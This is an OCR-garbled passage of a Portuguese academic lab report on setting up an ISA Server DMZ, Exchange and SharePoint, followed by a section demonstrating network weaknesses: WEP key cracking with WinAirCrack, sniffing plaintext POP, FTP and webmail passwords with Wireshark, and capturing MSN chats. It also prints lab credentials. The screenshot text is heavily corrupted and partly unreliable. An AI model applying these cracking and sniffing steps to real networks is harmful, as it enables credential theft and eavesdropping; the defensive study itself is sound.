Connect your Internal netwerk

/ to the Inkernet and protect it

VPN Clients Network from intruders.

Lozal Host

3-Leg
Perimeter

I
§
H
z
H
g
3
2

Connect your Internal network.
to the Internet, protect it from
Perimeter Network intruders, and publish services to
the Internet From a Perimeter
network,

Internal Netwark

Networica (betwork sets N etuork Rules Y Web Chaining \,

d Front
Name = | Description | Aiddress Ranges | Firewall
@ External Buit-in network object represert... I TP addresses extamnal to the 154 Server natworks.
Use 156 Server as the front e
i Internal Netwark representing the interna... 73 192, 168,100.0 - 192,168,100.255 of defense in & back-to-back.
perimeter netwerk configuration
b Local Host Built-in network object representi.. Mo IP addresses are assaciated with this netwark. Use this option when you have
o Fremslls between the
. Ferimater Network objoct representing ap... (7 192, 163,200.0 - 192,165.200.255 protected Internal networkand
the Internet,
4. Quarantined VPN Clients ~ But-in dynamic network represe... I o IP addresses are currently assigned ko this net...
223 YN Clients Buitin dynamic network obiect r... I o IP addvesses are currently assigned ta this net...

Back
Firewall

5,

Use ISA Server as the back ine
of defense in a hack-to-hack
perimeter network configuration,

1 —
istart| [ @ [ Micrasoft Internet Se... ] 5AP0 Mal - Microsofe Inc...

oratected Internal network and

I
New Wordpad Document... | L1 ISRt

Figura 36 — Estruturacéo do servidor de firewall
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3-Leg Perimeter =

o]
M\‘""—H—J e
= VPN Clients Network

Local Host f(/
— ~azomr’
E Jr External Network (Internet)
= '._.‘..._.:____ ‘//;,4_" ‘h;h\
P B N E
\ r . | ) }' { | i \I
' o T v @l 3
._‘_H > ,_,—-'"' L,\/

Inlcrﬁ:al_hzl\uork —— — Perimeter Network

Figura 37 — ISA 2006 — Perimetro em “trés pernas™

Foi escolhido o esquema de trés pernas uma vez que este prevé uma area
demilitarizada (DMZ) interligando o0 acesso a Internet e a rede interna,
proporcionando maior controlo e seguranga a informacdo da organizacdo. Apos
configurar o esquema inicial, falta configurar os acessos aos Varios recursos e ir

testando o sistema até chegar a um estado ideal de permissao/acesso.

e Configurar acessos Web e ftp através da DMZ
e Configurar permissao para servidor SharePoint
e Configurar permissdo para servidor Exchange
e Configurar permissao para servidor Web

e Configurar acessos a protocolos pop e smtp

e Configurar envio de emails através do ISA e ndo directamente para o Exchange

Uma das configuragdes a ter em conta é fazer passar o trafego de correio electrénico
pelo ISA e ndo permitir acesso directo ao servidor de correio electronico. O processo

é indicado a seguir.

44



mail server SMTP Server Properties E

General] .-“-‘-.-:til:un] Traffic] From To lNetwnrks] Schedule]

Specify the network:, addresz of the server to publish:

se . 162 . 100 0 2 Browze |

Fequests for the published server

Specify how 154 Server fonsards requests to the published zerver:

{ ° Reqguestz appear to come from the 154 Server complker

{* Requests appear to come fram the ariginal client

kore about forwarding reguests to published servers

k. | Canicel

Figura 38 — Configuracéo directa do servidor de correio electrénico

W WINDOWS system 32 cmid.exe

228 exchz2kd.izeplab.local Microszoft ESMIP MAIL Service, Uerszion: 6.8.3798_3959 PII

eady at Fri, 4 Sep 2007 22:64:28 +A10808

helo ok .
.5.4 Invalid Address

.3.3 Unrecognized command

.3.3 Unrecognized command

.3.3 Unrecognized command

221 2.8_.8 exch2k3.izeplab.local Service closzing transmiszion channel

C:“Documents and Settings“Administrator.lSEPLAB>
C=~Documents and SettingssAdministrator.ISEPLABXtelnet 192_168.1868.2 25_

Figura 39 — Ligacdo ao servidor de correio electronico

e Aresposta ao exterior € dada pelo servidor interno Exchange
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mail server SMTP Server Properties E

General] .-“-‘-.-:til:un] Traffic] From To lNetwnrks] Schedule]

Specify the network:, addresz of the server to publish:

| 192 188 . 100 . 2 Browse |

Fequests for the published server

Specify how 154 Server fonsards requests to the published zerver:

{* Fequests appear bo come from the [SA Server computes

" Requests appear to come fram the ariginal client

kore about forwarding reguests to published servers

k. | Canicel Apply

Figura 40 — Configuracdo do servidor de correio electronico pelo firewall

e |Telnet 192.168.100.2

2280 exchZk3d.iseplab.local Microzoft ESHMTP MAIL Service, Uersion: 6.0.3790.3959 ru
eady at Fri, 4 Sep 2069 22:06:-00 +A168

Figura 41 — Teste de acesso ao servigo de correio electronico
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4.1.4 Virtual Exchange

P Microsoft Exchange Server 2003 B
R * =} g

Microsoft

Exchange Server 2003

Welcome to Exchange Server 2003 Setup.

Check the Web for the latest updates, tools, after you review the latest information on
and information, the ‘Wb, use Exchange Deployment Tools
« Exchange Release Notes to prepare your organization for Exchange

Server 2003 and run Setup.

« Exchange Technical Library + Exchange Deployment Tools

= Exchange Tools and Updates
« Exchange Web site

() 1986-2003 Microsaft Corporation. All rights reserved.,

Figura 42 — Instalacdo do Exchange Server

e Instalar Windows 2003 Server + SP2 + updates
e Instalar servicos SNMP + ASP .NET + WWW

e Instalar Exchange Server 2003 (ap6s forestprep e domainprep no servidor DNS)

Username: iseplab\administrator

Password: password
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leHz\ [coogirt 2
liks | Work | Camo | SPSites | Tago | Videos @ SPTESTER g 5P fJMaps [l Acomym ¥ Babelfsh & ced [ tmn @) Financas [ Micosoft #*[LogMeln [orlipsum @ Tidet [ malbind | Miguel
v & 05| | £ sastile Linux: AWalkthrough | @ Microsoft Outook Web ... X 0 - B -0 - ok Page - (@ Took - @ &
ebAcce A recebe

1
O[3 | saneve - [ X S E G E - O W] @ e
B (55 Administrator [/ oe

5 Aerviar e [t]8]%
;

N&o pode ser entregue: ok
Administrador de sistema
5 g M Para:  Administrator

. A
(@s Administrador de sistema qua 26-08-2009 23:09 | nexos: | gsgon
[}

) Terminar sessdo

Hoin NEo pode ser entregue: teste

5 ttenseirinados de sistema qua 26082009 23:05 [l A sua mensagem o chegou a um ou s destintérios.
2 s enviados NEo pode ser entregue: teste P

] Natas Enviada: 26-08-2008 23:11

[J7 Rascunhos

3] Tarefas

Mo foi possivel contactar ofs) seguinte(s) destinatério(s):

031067 @de.isep.ipp.pt em 26-08-2009 23:11

Nio tem permissso para enviar para este destinatério, Para obter assisténdia, contacte o administrador de sistema,
<exch2k3.iseplab.local £5.7.1 smip; 550 5.7.1Rejected: 85.242.28.73 listed at dnsbl.sorbs.net>

[ [ [ [ [ [ [@ mtemet|protected Mode: off

Figura 43 — OWA - Leitura de Emails

# 100%

T4
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4.1.5 Virtual SharePoint

'f{u Assistente de Configuraciio de Produtos e Tecnologias do SharePoi sl |

Bem-vindo aos Produtos e Tecnologias do SharePoint

Qassistente ajudd-lo-dareparar os Produtos eTecnologias do SharePoint. Cliqgue em Seguintepara
continuar ouCancelar para sair do assistente. Para voltar a executar o assistente, clique no atalho doMenu
Iniciar.

Seguinte = I Cancelar |

Figura 44 — Ecra de configuracéo do SharePoint 2007

e Instalar Windows 2003 Server + SP2 + updates

e Instalar servicos SNMP + ASP .NET + WWW + IS
e Instalar SharePoint Server 2007 (MOSS)

e Instalar VSeWSS 1.3

(Visual Studio Extentions for Windows SharePoint Services)
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/2 Home - SharePoint - Windows Internet Explorer

ol x|
ol : +. -
@:T:. - I@, http:/fspvm/default.aspx j || A IGDogIePT 2
ol (& Home - SharePaint | | - - = v ibPage -+ (O Tools - (@) <
SharePoint Welcome SPYM\administrator o =]
SharePoint
view All Site Content
Announcements M
Documents I'
There are currently no active announcements. To add a new announcement, dick “Add U
Shared Documents new announcement” below, l" J,‘
Microsoft -
Lists Add new announcement Windows
Calendar SharePoint Services
Tasks Calend -
Discussions gl;iaor: are currently no upcoming events. To add & new event, dick “Add new event™ Links -
Team Discussion There are currently no favarite
Add new event links to display. To add a new link,
Sites dick "Add new link” below.
People and Groups Add new link
5] Recycle Bin —
hd
Done [ [ [ [ | [ mnternet | protected Mode: Off

H10% 4

Figura 45 — SharePoint instalado e configurado

ApoOs a instalacdo deste servidor e respectiva configuracdo no servidor de firewall,
todo o sistema fica pronto para o trabalho colaborativo.

Tarefas como o envio de mails e avisos, comunica¢do multi-hirarquica, modificagdo
de documentos partilhados, sdo apenas algumas das fungbes que permitem a
organizacao trabalhar com rapidez, eficacia e sem limitacGes de pessoas, servi¢os ou
localizacdo geografica.

/= shared Documents - Windows Internet Explorer

B=1Eq
- I@, http:/fspvm/Shared % 20Documents Forms fAllltems. aspx j || X IGDoglePT L
e ke (€& shared Documents | | - - = - [ Page ~ { Tooks - @)- v
SharePoint Welcome SPVMadministrator o =]
SharePoint
| ome. [Siccton -}

SharePoint > Shared Documents

Shared Documents

3@

View All Site Content

Documents

Shared Documents
Lists

Calendar

Tasks
Discussions

Team Discussion
Sites
People and Groups

5] Recycle Bin

Share a document with the team by adding it to this document library.

Mew Upload Actions

Settings

View: All Documents -

Type Mame

IT;_L] Calendarizacao ! new

Modified
9/5/2009 8:44 AM

i:l_k] | diagrama_pratico ! vEw

| 9/5/2009 5:42 AM

) Modified By

SPYM'administrator
SPYM'administrator

=]

[ [ [ [ | [ mnternet | protected Mode: Off

H10% 4

Figura 46 — Windows SharePoint Services 3.0
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=18

Mozilla Firefox

3 Home - Admini:
Ficheiro  Editar Ver Hstdrico Marcadores Ferramentas  Ajuda

C{@ C X | ntip:fcordova: 12218 defaut.aspx [Googe o

ﬁiMasVsmdﬂs || Home _ Cordova:5318 | | Administrac3o Central [ LogMeIn () Clube Golf Portugal ... 1= MailBind [ LogMeIn | | devscope [ tmn | gantt [ jquery B win7 +skystar [ ftduarte.blogspot.com >

| Home % | Home-Administragéo Central X | -
Welcome Conta de Sistema | ‘MV S My | @

Administracio Central

% Administragdo Central

homsroge, oo _coin e i

View Al Site Content

~ Recursos

Central Tarefas de Administrador
— Type Order Title Assigned To There are currently na favorite ks to display. To add a new ink,
perations E g
et a 5 Central Administration appication pool account should be unique. cick "Add new lnk” below
Aepleaten) Add new link
Management Aadd new task
Shared Services .
jinis i Topologia do Farm -
SharedServices1 Server Services Running
CORDOVA Central Administration
] Recycle Bin Document Conversions Launcher Service

Document Conversions Load Balancer Service
Office SharePoint Server Searcl

Windows ShareFoint Services Database
Windows SharePoint Services Help Search
Windows SharePoint Services Incoming E-Mail
windows SharePoint Services Web Application

mail.bind.pt Windows SharePoint Services Outgoing E-Mail

[# [

Figura 47 — Website administrativo do SharePoint
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4.2 Comandos auxiliares

4.2.1 Nslookup
Sistema: Windows / Linux

Este comando permite consultar o servidor DNS do provedor de servi¢os de Internet,
sob um determinado dominio ou host. Entre outras, este comando retorna informaces
sobre a existéncia do dominio, o seu nome e endereco. E usado por administradores
da rede para verificar se um dominio foi correctamente configurado, e se 0 acesso ao

exterior esta a funcionar.

Ex.: Consultar o dominio Google, “nslookup www.google.pt”

4.2.2 Arp
Sistema: Windows / Linux

O comando ARP (associado ao protocolo Address Resolution Protocol) converte
enderecos IP em enderecos fisicos, os MAC address. E especialmente (til para
verificar que maquinas estdo actualmente ligadas a rede, e é usado por vezes por

hackers com o intuito de encontrar possiveis vitimas dos seus ataques.

Ex.: Consultar os enderecos actualmente da tabela de enderecos ARP “arp —a”

4.2.3 Netstat
Sistema: Windows / Linux

Este comando é muito atil pois permite visualizar todas as ligacbes TCP/IP actuais na
maquina. Enderecos e portas sdo descritos em pormenor, podendo posteriormente ser
tomadas accOes para bloquear informacdo proveniente de algumass dessas

localizagOes.
O seu correspondeste para redes NetBIOS sobre TCP/IP é o comando “nbtstat”.

Ex.: Consultar todas as ligagdes activas: “netstat —a” (ver figura seguinte)
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C:xUsers Administrator.CORDOUA >
C:slUserssAdministrator.CORDOUAXnetstat —a

Active Connections

Proto Local Address Foreign Address
TCP 8@ cordova:

TCP H cordova:
JH H i1 cordova:
JH cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:
cordova:

TCP
TCP
TCP

ooOoOOohOoohhOoOoooom

[l ol ol ol

SO ARERAREREERERE
OSSR RERAREREERERE
CSOSRIEAERIRAREREERERE
SOSSRAAEIRAREREERERE
SRR AREAEERE®E

Figura 48 — Comando Netstat

4.2.4 Trace Route
Sistema: Windows (tracert) / Linux (traceroute)

Este comando permite verificar o caminho que um pacote percorre e os saltos que

efectua da origem para um determinado destino.

Ex.: Verificar caminho até a maquina 5 na rede local: “tracert 192.168.1.5”

4.2.5 Ping
Sistema: Windows / Linux

Este é um utilitario fundamental para efectuar testes de comunicagdo. Permite testar
desde o funcionamento de dispositivos de rede préprios, até & comunica¢do com

dispositivos dentro da mesma rede local ou numa rede externa.

Ex.: Testar a comunicagdo com o host 5 na rede local: “ping 192.168.1.5”

4.2.6 Ipconfig

Sistema: Windows (ipconfig) / Linux (ifconfig)
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Este é um dos comandos mais utilizados pelos administradores de sistemas.
Genericamente, permite consultar, activar, desactivar e modificar dispositivos de rede

e 0s enderecos associados como IP, Gateway e DNS Server.

Ex.: Consultar todos os dispositivos fisicos: “ipconfig /all”” (cf. Figura abaixo)

[z+] Administrator: G:\Windows\system32\cmd.exe

Microzoft Windows [Uersion 6.@A.6802]
Copyright <c) 2086 Microsoft Corporation. All rights reserved.

C:“UzerssAdministrator . CORDOUA ipconfig ~all

lindows IFP Configuration

Host Mame . . . . . .
Primary Dns Suffix .
Mode Type . . . . . .
IP Routing Enabled. .
WINS Proxy Enahled. .
DHS Suffix Search List

: cordova

o : Hyhrid

: Yes
: MNo
: home

llireless LAN adapter Wireless MHetwork Connection:

Connection—specific DNS Suffix : home

Dezecrdiption - . . . . - . . . : Intel<R> Wirelesz WiFi Link 4765AGN
Phyzical Address P : A@-1D-E@-7C-BB-879

DHCF Enabled. . . . . . . . : Yes

Autoconfiguration Enabled . : Yes

Link—local IPvh Address . . : feBP::c5hd:c?6c:ef4l:d6Bbx16{FPreferred>
IPv4 Address. . - - « « . . : 192.168.1.23(Preferred?

Subnet Mask . . . . - e - = 255.255.255.8

Lease Obtained. . . . . : terga—feira. 25 de Agosto de 2009 11:13:3

Leaze Expiresz . . . - : terga—feira, 25 de Agosto de 2007 15:13:3

Default Gateway . . . 19216811

DHCP Server . . . . - . : 192.168.1.1

DHCPve IAID . . . . - : 234888672

DHCPv6 Client DUID. - : B8-81-06-81-11-2A—-1C-7B-BP—-1A-86-AB-3E—4A

DNE Sewrvers . . . . e e e e . :192.168.1.1
MetBIOS over Tcpip. = -« « = - - = Enabled

Ethernet adapter Local Area GConnection:

Media State . . . . . . « -« - - .

Connection—specific DHS Suffix H

Descrdiption . . . - . - . . . . : Generic Marvell Yukon Chipset hased Ether
net Controllew

Phyzical Addres=s. . . . . . . . : B@-1A-838-AB-3E-—4n

DHCE Enabhled. . . . . . . . . . : Yes

Auntoconfiguration Enabled . . . : Yes

: Media disconnected

Tunnel adapter Local Area Connectionx 11:

Media State . . . . . . . . . .
Connection—specific DMS Suffix
Dezerdiption - . . . . - . . . .
Phyzical Address. . . . . .
DHGP Enabled. . . . . . . . . .
Autoconf iguration Enabled . . .

. * Media disconnected

. ¢ home

. * Microsoft ISATAP Adapter
. = A-APN-PR-PA-BA—AA-PE—EA
. & HNo

. = Yes

Figura 49 — Comando ipconfig
4.2.7 Route
Sistema: Windows

Este comando permite visualizar e modificar entradas na tabela de routing. E

particularmente Gtil para mostrar os encaminhamentos actuais.

Ex.: Mostrar os encaminhamentos actuais: “route print”
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4.3 Falhas de seguranca narede

Nesta seccdo serdo indicadas e demonstradas vulnerabilidades de seguranca na
configuracdo base do sistema. Posteriormente, na sec¢do 4.2 serdo indicados meios

para corrigir estas mesmas vulnerabilidades.

4.3.1 Descodificacdo darede wi-fi

As redes sem fios tém vindo a ser alvo de ataques persistentes por parte dos mais
experientes. Na Internet encontram-se facilmente locais que literalmente ensinam todo
0 processo de quebra da proteccdo WEP e WPA. Mesmo os algoritmos de proteccao
mais recentes como o WPA2 comecam ja a ter “receitas” para uma féacil
descodificacdo. Os estudantes japoneses Toshihiro Ohigashil and Masakatu Morii
mostraram no decorrer deste projecto que é possivel quebrar o WPA2 com
encriptacdo TKIP em menos de 1 minuto, falsificando pacotes ARP com ataques
Man-In-The-Middle simultaneos [41].

Como este tema ndo é necessariamente novo e ja tem sido referenciado em diversos
documentos ao longo do tempo, sera descrito brevemente o processo de quebra com
base num documento realizado no ambito de uma disciplina académica sobre os

niveis de protec¢do em redes Wi-Fi [33].

Muitas vezes nota-se que as redes ndo estdo protegidas de qualquer forma, estando o
sinal aberto e o acesso a rede facilitado gratuitamente. Outras vezes é comum o
utilizador instalar o dispositivo de rede e fazer o assistente automatico, deixando o
dispositivo com as configuracfes de seguranca de fabrica, deixando grande parte das
vezes o dispositivo com uma palavra-chave facilmente encontrada na Internet em

websites de fabricantes de dispositivos de rede sem-fios.
Software necessario:

e WildPackets Omnipeek [37]

e AirCrack, WinAirCrack [38]

ou

e Backtrak [34]
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A aplicagdo WinAirCrack permite usar um ambiente grafico, sem recurso a linha de
comandos, que automaticamente ird executar o AirCrack, aplicacdo que ira fazer a
descodificacdo do cddigo. Para que isto seja possivel, o WinAirCrack requer apenas
que seja capturado um pacote de trafego com volume suficiente para conseguir juntar

extractos de informacdo que componham a chave final (cf. imagem abaixo).

W) Fén Gin View Copmre Sand Meminer Tesl wiedes  Hain @E}

defi.be Rdda a8 ITe3NETY 2 @8
ey iaage:| 1% e
Filter statw: Acomyt oriy packats matirg o i
(o IR S 2
o8 @ Fisg el Sax
Famers ¥ W 5
o Expert i3 [ a8
Hurwchy 2 i L1
vt "y ] 85
Appacatas " & 55
O Visusls Ay [} "
Peer Vay 'f L L]
oraghe s 5 55
O sussties F [ 95
Hisdes iF [ a8
Braton ¥ L] L1
Surrary ] [ W5
o Wirsless ¥ [ 55
wan > [ 95
[ +3 [ s8
ol i g (] L]
Upate ¥ § W5
*® & 55
-5 & 95
5 [ 48
oy (] "
¥ L s
*F & 85
» & 95
Exnermer Brosdsasc 5 [ a8
Liternet Brosdcast o (] ]
E % B ¥ [ 95
*F % 55
- & 48
E 0 a8
Captunng B Liguciin e rede e A Chamnaly 6 - 2437 Wiz (b Backean: 12776
& | tessages:| | b w7 £t Q4
Dete Tive: Mescage -
W) 12012008 151940 Susoect event Total Brewscau » U for 4 secends)
O 1BI02000 159348 Prabien svest Tataifrsseas (s S ter 10 secnnan)
G008 163001 Selted sdecter Livaie de rede sem e
b moromn 1ima)  New easte
L2120 153205 Mew cacher
W) 1201308 154013 Sespectevent Total Usbcast (» U for 4 secods)
A 13002000 15135 Sessived avent Tots Wateast (4 S for I sacensy)
Gauge | Vee |
Fat Holp. eans Bl IR Uuecs de rede som Bos Chisnsls &= 2AIT 45 il

Figura 50 — Captura de trafego Wi-Fi com o OmniPeek

A chave ira ser entdo descodificada com o WinAirCrack.
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_-E" Ganeral
II l‘l
L
General E nicryplion type: | WEP |
@ APz Mame [ESSID]: | |
e
ot AP MALC Add BSSID:
Wep ress | ] | |
=Capture filez;
et
'T'\L'f-"
a D:ATrabalho ESEGISCapture 1.dmp
Ci:ATrabalho ESEGIMCapture 2.dmp
Haedware D:\Trabalho ESEGINCapture 3.dmp
[:4Trabalho ESEGINCapture 4.dmp
Advanced
| B[+l [=
i_..' Click here to locate capture file...
About
o Ajrcrack the key...

Figura 51 — Configuracdo e Captura com o WinAirCrack

Apds alguns minutos a chave é encontrada e guardada num arquivo de logs na raiz do

disco rigido.

aircrack 2.3

[B0:06:011 Tested 393217 keys {(got 265427 IUs>

hyte{vote?
De¢ 15> @1¢

( A ( 8y B3¢ A4 ¢ @)y \85¢

FF{ 2 < < a» B3C < ay \Bs5¢
FF( < < Ay B3< 4 ay B5¢

FF{ < < 8y B3¢ ¢ a8y \85¢

FF{ B1< < 8> B3¢ < a> \85¢

FF{ < < @8> B3¢ < @y \85¢

FF<{ A { A { 8> B3¢ A4 ¢ @y @85¢

D5C ( ( @y B3¢ ¢ @)y \B5¢

B3¢ < < a> B6< < a> \#s¢

Bs 1 E5¢ < < a> B3C Ay B4¢ Ay B5¢
43,253 2B< < < @8> 2E< a> 2F¢ @y 3e<

KEY FOUND?! [ D9:FF:FF:FF:FF:FF:FF:D5:@3:E5% 1

Figura 52 — Chave Wi-Fi encontrada

Uma outra aplicacdo usada actualmente para este processo € o Backtrak [34]. Esta

aplicacdo consiste numa maquina virtual ou boot CD com uma instalagdo Linux
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personalizada com todas as aplicagdes necessarias a quebra das chaves, pré-instaladas.
Normalmente, qualquer destas aplicacGes requer uma placa de rede sem fios bem
conhecida e com controladores disponiveis, visto que nem todas parecem ser
compativeis. As placas Intel parecem oferecer maior compatibilidade e eficacia na

quebra das chaves.

4.3.2 Acesso arede cabelada

O acesso fisico a rede também devera ser tido em conta, de forma a evitar que pessoas
sem autorizacdo para aceder a determinada informacéo, o consigam fazer através da
simples conexdo de um cabo entre uma maquina e um interface de acesso ao meio. Se
houver um método de autenticacdo e/ou hierarquizacdo dos utilizadores dentro de
grupos associados aos mesmos, havera uma maior seguranca da informacédo, uma vez

que podera ficar indisponivel dentro de um conjunto determinado de situagdes.

Uma forma possivel de seguranca adicional sera utilizar a norma 802.1X para
assegurar que apenas os utilizadores correctamente autenticados obtém acesso a
atribuicdo de endereco fisico de rede por DHCP, sendo que no caso de a autenticacao
falhar, o enderego ndo ¢ atribuido, e, consequentemente, ndo fica disponivel o acesso

ao meio.

4.3.3 Descodificacdo darede bluetooth

Software necessario:
e BlueSniff (Linux) [26]

Podera ser boa pratica desencorajar os utilizadores a utilizagdo persistente de
dispositivos bluetooth, uma vez que também eles sdo alvo de possivel quebra. A
aplicacdo em questdo permite encontrar dispositivos bluetooth, visiveis ou

escondidos, e emparelha-los para o envio e recepcao de arquivos.

Uma forma de hacking simples, inicialmente usada como brincadeira até evoluir para
aplicagcBes maiores, era criar um contacto novo com uma mensagem p.ex. “old” e
enviar o contacto por bluetooth para qualquer dispositivo disponivel. Se o cliente

aceitar o emparelhamento dos dois dispositivos, tudo sera possivel.
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4.3.4 Captura de informacao confidencial: palavras-chave
Software necessario:
e WireShark [25]

e Leitura de emails via protocolo pop ndo encriptado. Séo visiveis os dados de

autenticacdo (nome e palavra-chave) do utilizador.

"I (Untitled) - Wireshark

Flle Edit View Go Capture Analyze Statistics Telephony Tools Help

Beoee CEgRXEE AT L | BB QQQAf| @0 MxX| B
F\_Iber:l ¥  Expression... Clear Apply
No. . | Time | Source | Destination | Protocol | Info
1 0.000000 192.168.1.1 224.0.0.1 IGMP v2 Membership Query, general
2 1.152824 192.168.1.11 239.255.255.250 IGMP v2 Membership Report / Join group 239.255.255.250
F2IS02075 65.54.189.61 192.168.1.11 MSNMS NLN NLN 1:psycho_boy@tvtel.pt Tiago%20-%2080%25%20:) 27889¢
4 2.697838 192.168.1.11 65.54.189.61 TCP 59426 > msnp [ACK] Seq=1 Ack=275% Win=65 Len=0
5 5.353867 193.136.62.2 192.168.1.11 POP 5: +0K POP3 frodo.dei.isep.ipp.pt 2006k.101 server ready
6 5.354649 192.168.1.11 193.136.62.2 POP C: AUTH
7 5.374835 193.136.62.2 192.168. TCP p0p3 > 60313 [ACK] Seq=56 Ack=8 win=1460 Len=0
8 5.375547 193.136.62.2 192.168. POP 1 +0K supported authentication mechanisms:
9 5.376210 192.168.1.11 193.136. POP C: USER 1031067
5.49336? 193.1 62.2 192.168 POP e
3.4 972 e F3.
5.446089 3 c 5! +0K Mai[box open, 0 messages
13 5.446605 192.168.1.131 193.136.62.2 POP C: STAT
14 5.464936 193.136.62.2 192.168.1.11 POP 5: +0K 0 O
15 5.469807 192.168.1.11 193.136.62.2 POP C: QuIT
15.490392 193.136.62.2 192.168.1.11 POP 5: +OK Sayonara
90804  192.168.1.11 193.136.62.2 3 e e A W o
. 491667 '193.136.62.2 192.168.1.11 SEEET pop3 > 60313 [FIN, ACK] Seq=135 Ack=49 Win=1460 Len=0
Frame 11 (69 bytes on wire, 69 bytes captured)
Ethernet II, Src: IntelCor_7c:bb:09 (00:1d:e0:7c:bb:09), Dst: SagemCom_15:64:ec (00:1f:95:15:64:ec)
Internet Protocol, Src: 192.168.1.11 (192.168.1.11), Dst: 193.136.62.2 (193.136.62.2)
Transmission Control Protocol, Src Port: 60313 (60313), Dst Port: pop3 (110), Seq: 22, Ack: 142, Len: 15
post office Protocol

Figura 53 — Wireshark (Captura de leitura de emails por pop)

e Acesso FTP

A captura dos dados de contas FTP é facil dado que a semalhana do POP, os dados

circulam em plain text.
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Il

File Edit View Go Capture Analyze Statistics Telephony Tools Help

BuEdeN CEXEd o207 L|0E QD | #DM%| B

Fiter: | ~  Expresson... Clear Apply

MNo. - | Time

| Destination | Protocol | Info

0 5 :5 ROOT 0 Port

.0072 Ci :7f g-Tr onf. ROOT = 3276 00: :7F 05T = 0 Port
7.950739 192.168.100.110 192.168.200.1 52596 > fip [SYN] Seq=0 win=8192 Len=0 MS5=1460 ws=2
7.953444 192.168.200.1 192.168.100.110 ftp > 52596 [S¥YN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MS5=1460 Ws=
7.953519 192.168.100.110 192.168.200.1 52596 > ftp [ACK] Seg=1 Ack=1 Win=65700 Len=0
7.954439 192.168.200.1 Response: 220 Microsoft FTP service
7.955203 192.168.100.110 Request: USER administrator
7.957263 192.168.200.1 Response: 331 Password required for administrator.

3 b1 9 Ot 2 2| d

16 7.960078 192.168.200.1 192.168.100.110 Response: 230 user administrator logged in.

17 7.960849 192.168.100.110 192.168.200.1 Request: opts utf8 on

18 7.961895 192.168.200.1 192.168.100.110 Response: 501 option not supported

19 7.963289 192.168.100.110 192.168.200.1 Request: syst

20 7.964309 192.168.200.1 192.168.100.110 Response: 215 windows_NT

21 7.965098 192.168.100.110 192.168.200.1 Request: site hel

22 7.966318 192.168.200.1 192.168.100.110 Response: 214-The following SITE commands are recognized(*

23 7.967082 192.168.100.110 192.168.200.1 Request: PWD

54 7 o&Rida 107 182 200 1 103> 182 100 110 bacnnnca: ITT "/U G rureant diractoro

Frame 15 (69 bytes on wire, 69 bytes captured)

Ethernet IT, Src: Sony_a0: 4a (00:1a:B0:a0:3e:4a), Dst: HewlettP_60:7b:4a (00:50:8b
Internet Protocol, src: 192.168.100.110 (192.168.100.110), Dst: 192.168.200.1 (192.168.200.1)
Transmission Control Protocol, Src Port: 52596 (52596), Dst Port: ftp (21), Seq: 21, Ack: 70, Len: 15
File Transfer protocol (FTP)

0:7b:42)

0000 00 50 8b 60 7b 4a 00 1a &0 a0 3e 4a 08 00 45 00
0010 00 37 29 o5 40 00 80 06 23 1b c0 a8 64 6e c0 a8
0020 ¢8 01 cd 74 00 15 a7 aa 9b f9 f1 60 10 ee 50 18
0030 40 17 ad ea 00 00 50 41 53 53 20 70 61 73 73 77

cieee P
.PA S5 passw

£

(O File: "C:\Users\ADMINI~1.COR \AppData\Local(T .. |Packets: 461 Displayed: 461 Marked: 0 Dropped: 0 't ofile: Default

Figura 54 — Captura de dados de autenticacéo de FTP

e Acesso Webmail

E possivel ver na imagem o conteido do pacote TCP a levar os dados do nome de

utilizador e palavra-chave da conta a ser acedida.

(uni

ed) - Wireshark N [=] |

fle Edit Mew Go Capture Analyze Statiscs Telephony Tools Help
B PEXEE a2 TFL|EE QAP @2 % %8

Fiter: | *  Expression... Clear Apply

| Destination
Spanning-

5 m 0.
1. .168.100. http-alt > 53078 [ACK] Seq: ACk=]
1. 192.168.100.254 192.168.100.110 HTTP HTTP/1.1 200 oK (text/html)
1. 192.168.100.2 192.168.100.1 ICMP Echo (ping) request
1. Sony_a0:3e:4a Broadcast ARP who has 192.168.100.27 Tell 192.168.100.110
1. 192.168.100.2 192.168.100.1 ICMP echo (ping) request
1. Microsof_7d:bb:09 sony_a0: 3 ARP 192.168.100.2 is at 00: :7d:bb:09
0 1. —— ¢
1.
= : 1 ] t ( )
13 1.176170 192.168.100.1 192.168.100.2 ICMP echo (ping) reply c—
14 1.176183 192.168.100.1 192.168.100.2 ICMP echo (ping) reply
15 1.176193 192.168.100.1 192.168.100.2 ICMP echo (ping) reply
16 1.354808 192.168.100.110 192.168.100. 254 TCP 53078 > http-alt [ACK] Seq=1130 Ack=364 Win=16425 Le
17 1 escacy 0% 1&e 1an 11 a0 1&e 1an o urrn e e e e[S
4 |
Destination: 192.168.100.254 (192.168.100.254) ;I

= Transmission Control Protocol, Src Port: 53078 (53078), Dst Port: http-alt (8080), Seq: 1097, Ac

source port: 53078 (53078)

Destination port: http-alt (8080) _
[stream index: 0]
seguence number: 1097 (relative seguence number) LI

0000 00 50 8b 60 7b 4a 00 1a 80 a0 3e 4a 08 00 45 00 WP
0010 00 49 79 27 40 00 B0 06 36 ca c0 a8 64 6e cO a8

6 2C_bo E] 7
6l 70 75 72 65 72 im apuser=t
0040 65 73 74 65 25 34 30 73 61 70 &f 2e 70 74 26 7 este%40s apo. pt&p
0050 61 72 73 3d 6f 6c 61 ass=ola

Frame (37 bytes) | Reassembled TCP (1129 bytes) |

(D Transmission Control Protocol (tcp), 20 bytes | Packets: 20 Displayed: 20 Marked: 0 Dropped: 0  Prufile: Default 4

Figura 55 — Acesso a dados confidenciais de webmail
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Como podemos ver na imagem acima, o utilizador “teste@sapo.pt” e a sua palavra-

chave “o0la” sdo perfeitamente visiveis e capturareis por um atacante.

e Acesso OWA

Também usando o WireShark, é possivel encontrar os dados do acesso ao servidor de
correio electrénico, introduzidos pelo utilizador no ecrd de inicio de sessdo,

representado na imagem seguinte.

Connect to exch2k3.iseplabJocal ed

111" -

Connecting to exch2k3.iseplab.local.

User name: I?E izeplab‘\administrator j J

Pasaword: I LTI

[~ Remember my password

oK I Cancel |

Figura 56 — Exchange — Autenticacdo




4.3.5 Captura das conversas do Messenger
Software necessario:
e MSN Messenger Sniffer [36]

Como podemos ver na figura abaixo, este simples e pequeno programa permite
capturar todo o trafego da rede local, guardando todas as conversas que circulam
através das contas activas do MSN Messenger. Até ao momento ainda ndo existe
qualquer forma de proteger a informacdo que circula nesta aplicacdo. Tudo que o

atacante precisa de fazer € conectar-se a um nd da rede.

-loix]
File Control Option View Help Buy Now
DO|H|»e|&

X ‘ o Ime: ender ickhame anen
